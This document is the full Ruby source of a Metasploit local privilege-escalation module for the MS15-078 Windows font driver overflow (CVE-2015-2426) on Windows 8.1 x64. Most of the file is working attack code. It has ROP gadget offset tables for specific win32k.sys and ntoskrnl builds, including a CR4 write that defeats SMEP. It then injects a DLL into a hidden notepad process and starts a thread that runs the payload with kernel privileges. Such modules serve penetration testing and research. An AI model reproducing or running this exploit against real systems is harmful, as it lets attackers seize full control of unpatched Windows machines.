MS15-078 Microsoft Windows Font Driver Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/post/windows/reflective_dll_injection'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = ManualRanking  
  
WIN32K_VERSIONS = [  
'6.3.9600.17393',  
'6.3.9600.17630',  
'6.3.9600.17694',  
'6.3.9600.17796',  
'6.3.9600.17837',  
'6.3.9600.17915'  
]  
  
NT_VERSIONS = [  
'6.3.9600.17415',  
'6.3.9600.17630',  
'6.3.9600.17668',  
'6.3.9600.17936'  
]  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::FileInfo  
include Msf::Post::Windows::ReflectiveDLLInjection  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'MS15-078 Microsoft Windows Font Driver Buffer Overflow',  
'Description' => %q{  
This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing  
a malformed font. The vulnerability was exploited by the hacking team and disclosed on  
the july data leak. This module has been tested successfully on vulnerable builds of  
Windows 8.1 x64.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Eugene Ching', # vulnerability discovery and exploit  
'Mateusz Jurczyk', # vulnerability discovery  
'Cedric Halbronn', # vulnerability and exploit analysis  
'juan vazquez' # msf module  
],  
'Arch' => ARCH_X86_64,  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread',  
},  
'Targets' => [  
[ 'Windows 8.1 x64', { } ]  
],  
'Payload' => {  
'Space' => 4096,  
'DisableNops' => true  
},  
'References' => [  
['CVE', '2015-2426'],  
['CVE', '2015-2433'],  
['MSB', 'MS15-078'],  
['MSB', 'MS15-080'],  
['URL', 'https://github.com/vlad902/hacking-team-windows-kernel-lpe'],  
['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a-recent-windows-8.1-64-bit/'],  
['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=369'],  
['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=480']  
],  
'DisclosureDate' => 'Jul 11 2015',  
'DefaultTarget' => 0  
}))  
end  
  
def patch_win32k_offsets(dll)  
@win32k_offsets.each do |k, v|  
case k  
when 'info_leak'  
dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<'))  
when 'pop_rax_ret'  
dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<'))  
when 'xchg_rax_rsp'  
dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<'))  
when 'allocate_pool'  
dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<'))  
when 'pop_rcx_ret'  
dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<'))  
when 'deref_rax_into_rcx'  
dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<'))  
when 'mov_rax_into_rcx'  
dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<'))  
when 'pop_rbx_ret'  
dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<'))  
when 'ret'  
dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<'))  
when 'mov_rax_r11_ret'  
dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<'))  
when 'add_rax_rcx_ret'  
dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<'))  
when 'pop_rsp_ret'  
dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<'))  
when 'xchg_rax_rsp_adjust'  
dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<'))  
when 'chwnd_delete'  
dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<'))  
end  
end  
end  
  
def set_win32k_offsets  
@win32k_offsets ||= Proc.new do |version|  
case version  
when '6.3.9600.17393'  
{  
'info_leak' => 0x3cf00,  
'pop_rax_ret' => 0x19fab, # pop rax # ret # 58 C3  
'xchg_rax_rsp' => 0x6121, # xchg eax, esp # ret # 94 C3  
'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag  
'pop_rcx_ret' => 0x98156, # pop rcx # ret # 59 C3  
'deref_rax_into_rcx' => 0xc432f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3  
'mov_rax_into_rcx' => 0xc4332, # mov [rcx], rax # ret # 48 89 01 C3  
'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3  
'ret' => 0x6e314, # ret C3  
'mov_rax_r11_ret' => 0x7018e, # mov rax, r11 # ret # 49 8B C3 C3  
'add_rax_rcx_ret' => 0xee38f, # add rax, rcx # ret # 48 03 C1 C3  
'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3  
'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sbb al, 0 # mov eax, ebx # add rsp, 20h # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3  
'chwnd_delete' => 0x165010 # CHwndTargetProp::Delete  
}  
when '6.3.9600.17630'  
{  
'info_leak' => 0x3d200,  
'pop_rax_ret' => 0x19e9b, # pop rax # ret # 58 C3  
'xchg_rax_rsp' => 0x6024, # xchg eax, esp # ret # 94 C3  
'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag  
'pop_rcx_ret' => 0x84f4f, # pop rcx # ret # 59 C3  
'deref_rax_into_rcx' => 0xc3f7f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3  
'mov_rax_into_rcx' => 0xc3f82, # mov [rcx], rax # ret # 48 89 01 C3  
'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3  
'ret' => 0x14dc, # ret C3  
'mov_rax_r11_ret' => 0x7034e, # mov rax, r11 # ret # 49 8B C3 C3  
'add_rax_rcx_ret' => 0xed33b, # add rax, rcx # ret # 48 03 C1 C3  
'pop_rsp_ret' => 0xbb93, # pop rsp # ret # 5c c3  
'xchg_rax_rsp_adjust' => 0x17c78c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3  
'chwnd_delete' => 0x146EE0 # CHwndTargetProp::Delete  
}  
when '6.3.9600.17694'  
{  
'info_leak' => 0x3d300,  
'pop_rax_ret' => 0x151f4, # pop rax # ret # 58 C3  
'xchg_rax_rsp' => 0x600c, # xchg eax, esp # ret # 94 C3  
'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag  
'pop_rcx_ret' => 0x2cf10, # pop rcx # ret # 59 C3  
'deref_rax_into_rcx' => 0xc3757, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3  
'mov_rax_into_rcx' => 0xc375a, # mov [rcx], rax # ret # 48 89 01 C3  
'pop_rbx_ret' => 0x6682, # pop rbx # ret # 5B C3  
'ret' => 0x6683, # ret C3  
'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3  
'add_rax_rcx_ret' => 0xecd7b, # add rax, rcx # ret # 48 03 C1 C3  
'pop_rsp_ret' => 0x71380, # pop rsp # ret # 5c c3  
'xchg_rax_rsp_adjust' => 0x178c84, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3  
'chwnd_delete' => 0x1513D8 # CHwndTargetProp::Delete  
}  
when '6.3.9600.17796'  
{  
'info_leak' => 0x3d000,  
'pop_rax_ret' => 0x19e4f, # pop rax # ret # 58 C3  
'xchg_rax_rsp' => 0x5f64, # xchg eax, esp # ret # 94 C3  
'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag  
'pop_rcx_ret' => 0x97a5e, # pop rcx # ret # 59 C3  
'deref_rax_into_rcx' => 0xc3aa7, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3  
'mov_rax_into_rcx' => 0xc3aaa, # mov [rcx], rax # ret # 48 89 01 C3  
'pop_rbx_ret' => 0x1B20, # pop rbx # ret # 5B C3  
'ret' => 0x1B21, # ret C3  
'mov_rax_r11_ret' => 0x7010e, # mov rax, r11 # ret # 49 8B C3 C3  
'add_rax_rcx_ret' => 0xecf8b, # add rax, rcx # ret # 48 03 C1 C3  
'pop_rsp_ret' => 0x29fd3, # pop rsp # ret # 5c c3  
'xchg_rax_rsp_adjust' => 0x1789e4, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3  
'chwnd_delete' => 0x150F58 # CHwndTargetProp::Delete  
  
}  
when '6.3.9600.17837'  
{  
'info_leak' => 0x3d800,  
'pop_rax_ret' => 0x1a51f, # pop rax # ret # 58 C3  
'xchg_rax_rsp' => 0x62b4, # xchg eax, esp # ret # 94 C3  
'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag  
'pop_rcx_ret' => 0x97a4a, # pop rcx # ret # 59 C3  
'deref_rax_into_rcx' => 0xc3687, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3  
'mov_rax_into_rcx' => 0xc368a, # mov [rcx], rax # ret # 48 89 01 C3  
'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3  
'ret' => 0x14dc, # ret C3  
'mov_rax_r11_ret' => 0x94871, # mov rax, r11 # ret # 49 8B C3 C3  
'add_rax_rcx_ret' => 0xecbdb, # add rax, rcx # ret # 48 03 C1 C3  
'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3  
'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3  
'chwnd_delete' => 0x15A470 # CHwndTargetProp::Delete  
}  
when '6.3.9600.17915'  
{  
'info_leak' => 0x3d800,  
'pop_rax_ret' => 0x1A4EF, # pop rax # ret # 58 C3  
'xchg_rax_rsp' => 0x62CC, # xchg eax, esp # ret # 94 C3  
'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag  
'pop_rcx_ret' => 0x9765A, # pop rcx # ret # 59 C3  
'deref_rax_into_rcx' => 0xC364F, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3  
'mov_rax_into_rcx' => 0xC3652, # mov [rcx], rax # ret # 48 89 01 C3  
'pop_rbx_ret' => 0x14DB, # pop rbx # ret # 5B C3  
'ret' => 0x14DC, # ret # C3  
'mov_rax_r11_ret' => 0x7060e, # mov rax, r11 # ret # 49 8B C3 C3  
'add_rax_rcx_ret' => 0xECDCB, # add rax, rcx # 48 03 C1 C3  
'pop_rsp_ret' => 0xbe33, # pop rsp # ret # 5c c3  
'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3  
'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete  
}  
else  
nil  
end  
end.call(@win32k)  
end  
  
def patch_nt_offsets(dll)  
@nt_offsets.each do |k, v|  
case k  
when 'set_cr4'  
dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<'))  
when 'allocate_pool_with_tag'  
dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<'))  
end  
end  
end  
  
def set_nt_offsets  
@nt_offsets ||= Proc.new do |version|  
case version  
when '6.3.9600.17415'  
{  
'set_cr4' => 0x38a3cc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3  
'allocate_pool_with_tag' => 0x2a3a50 # ExAllocatePoolWithTag  
}  
when '6.3.9600.17630'  
{  
'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3  
'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag  
}  
when '6.3.9600.17668'  
{  
'set_cr4' => 0x38A3BC, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3  
'allocate_pool_with_tag' => 0x2A3A50 # ExAllocatePoolWithTag  
}  
when '6.3.9600.17936'  
{  
'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3  
'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag  
}  
else  
nil  
end  
end.call(@ntoskrnl)  
end  
  
def atmfd_version  
file_path = expand_path('%windir%') << '\\system32\\atmfd.dll'  
major, minor, build, revision, branch = file_version(file_path)  
return nil if major.nil?  
ver = "#{major}.#{minor}.#{build}.#{revision}"  
vprint_status("atmfd.dll file version: #{ver} branch: #{branch}")  
  
ver  
end  
  
def win32k_version  
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'  
major, minor, build, revision, branch = file_version(file_path)  
return nil if major.nil?  
ver = "#{major}.#{minor}.#{build}.#{revision}"  
vprint_status("win32k.sys file version: #{ver} branch: #{branch}")  
  
ver  
end  
  
def ntoskrnl_version  
file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe'  
major, minor, build, revision, branch = file_version(file_path)  
return nil if major.nil?  
ver = "#{major}.#{minor}.#{build}.#{revision}"  
vprint_status("ntoskrnl.exe file version: #{ver} branch: #{branch}")  
  
ver  
end  
  
def check  
# We have tested only windows 8.1  
if sysinfo['OS'] !~ /Windows 8/i  
return Exploit::CheckCode::Unknown  
end  
  
# We have tested only 64 bits  
if sysinfo['Architecture'] !~ /(wow|x)64/i  
return Exploit::CheckCode::Unknown  
end  
  
atmfd = atmfd_version  
# atmfd 5.1.2.238 => Works  
unless atmfd && Gem::Version.new(atmfd) <= Gem::Version.new('5.1.2.243')  
return Exploit::CheckCode::Safe  
end  
  
# win32k.sys 6.3.9600.17393 => Works  
@win32k = win32k_version  
  
unless @win32k && WIN32K_VERSIONS.include?(@win32k)  
return Exploit::CheckCode::Detected  
end  
  
# ntoskrnl.exe 6.3.9600.17415 => Works  
@ntoskrnl = ntoskrnl_version  
  
unless @ntoskrnl && NT_VERSIONS.include?(@ntoskrnl)  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Appears  
end  
  
def exploit  
print_status('Checking target...')  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
check_result = check  
if check_result == Exploit::CheckCode::Safe  
fail_with(Failure::NotVulnerable, 'Target not vulnerable')  
end  
  
if check_result == Exploit::CheckCode::Unknown  
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')  
end  
  
if check_result == Exploit::CheckCode::Detected  
fail_with(Failure::NotVulnerable, 'ROP chain not available for the target nt/win32k')  
end  
  
unless get_target_arch == ARCH_X86_64  
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')  
end  
  
print_status("Exploiting with win32k #{@win32k} and nt #{@ntoskrnl}...")  
  
set_win32k_offsets  
fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil?  
  
set_nt_offsets  
fail_with(Failure::NoTarget, 'ntoskrnl.exe offsets not available') if @nt_offsets.nil?  
  
begin  
print_status('Launching notepad to host the exploit...')  
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})  
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
# Sandboxes could not allow to create a new process  
# stdapi_sys_process_execute: Operation failed: Access is denied.  
print_status('Operation failed. Trying to elevate the current process...')  
process = client.sys.process.open  
end  
  
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-2426', 'reflective_dll.x64.dll')  
library_path = ::File.expand_path(library_path)  
  
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")  
dll = ''  
::File.open(library_path, 'rb') { |f| dll = f.read }  
  
patch_win32k_offsets(dll)  
patch_nt_offsets(dll)  
  
exploit_mem, offset = inject_dll_data_into_process(process, dll)  
  
print_status("Exploit injected. Injecting payload into #{process.pid}...")  
payload_mem = inject_into_process(process, payload.encoded)  
  
# invoke the exploit, passing in the address of the payload that  
# we want invoked on successful exploitation.  
print_status('Payload injected. Executing exploit...')  
process.thread.create(exploit_mem + offset, payload_mem)  
  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')  
end  
  
end  
`